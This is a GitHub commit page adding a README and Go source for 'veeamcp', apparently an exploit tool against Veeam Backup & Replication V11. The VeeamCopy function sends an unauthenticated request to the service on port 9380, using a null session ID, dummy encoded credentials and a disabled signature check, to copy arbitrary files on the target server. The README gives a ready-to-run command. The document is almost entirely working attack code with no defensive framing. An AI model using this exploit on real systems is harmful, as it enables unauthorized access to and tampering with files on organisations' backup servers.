-
Notifications
You must be signed in to change notification settings - Fork 3
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
3 changed files
with
89 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
# veeamdl | ||
|
||
Copy a file on a Veeam V11 server. | ||
|
||
|
||
```sh | ||
./veeamcp 192.168.0.10:9380 'C:\Windows\win.ini' 'C:\newfile.ini' | ||
``` | ||
|
||
- 192.168.0.10 is Veeam IP | ||
- 'C:\Windows\win.ini' is the file to copy from | ||
- 'C:\newfile.ini' is the file to copy to |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,31 @@ | ||
package main | ||
|
||
import ( | ||
"github.com/LeakIX/veeam-ds-client/v11" | ||
"log" | ||
"os" | ||
"time" | ||
) | ||
|
||
func main() { | ||
if len(os.Args) < 4 { | ||
log.Fatalln("./veeamcp <target> <source-filename> <target-filename>") | ||
} | ||
target, sourceFile, targetFile := os.Args[1], os.Args[2], os.Args[3] | ||
time.Sleep(1 * time.Second) | ||
log.Println("Preparing file for copy") | ||
err := v11.CacheFile(target, sourceFile) | ||
if err == v11.IsVeeam10Err { | ||
log.Fatalln("Found Veeam version v10") | ||
} | ||
if err != nil { | ||
log.Fatalln(err) | ||
} | ||
log.Println("Prepared file for download, requesting file") | ||
err = v11.VeeamCopy(target, sourceFile, targetFile) | ||
|
||
if err != nil { | ||
log.Fatalln(err) | ||
} | ||
log.Println("Done") | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,46 @@ | ||
package v11 | ||
|
||
import "errors" | ||
|
||
func VeeamCopy(target, sourceFile, targetFile string) error { | ||
vrequest := RequestData{ | ||
FISpec: UploadRequest{ | ||
RequestSpec: RequestSpec{ | ||
FIScope: 190, | ||
FIMethod: 25, | ||
FISessionID: "00000000-0000-0000-0000-000000000000", | ||
}, | ||
SystemType: "WIN", | ||
Host: "127.0.0.1", | ||
User: "Av2XMhjKZY4=", | ||
Password: "Av2XMhjKZY4=", | ||
TaskType: "Package", | ||
SshCredentials: "Av2XMhjKZY4=", | ||
SshFingerprint: "0000", | ||
SshTrustAll: true, | ||
IsWindows: true, | ||
IsFix: true, | ||
CheckSignatureBeforeUpload: false, | ||
DefaultProtocol: 3, | ||
FileRelativePath: targetFile, | ||
FileProxyPath: sourceFile, | ||
FileRemotePath: targetFile, | ||
HostIps: HostIps{ | ||
String: []String{{Value: "127.0.0.1"}}, | ||
}, | ||
}, | ||
} | ||
var uploadReply UploadReply | ||
err := SendRequest(target, vrequest, &uploadReply) | ||
if err != nil { | ||
return err | ||
} | ||
if uploadReply.HasExceptions() { | ||
errTxt := "" | ||
for _, exception := range uploadReply.PlainException.KeyValue { | ||
errTxt += exception.Key + " : " + exception.Value + "\n" | ||
} | ||
return errors.New(errTxt) | ||
} | ||
return nil | ||
} |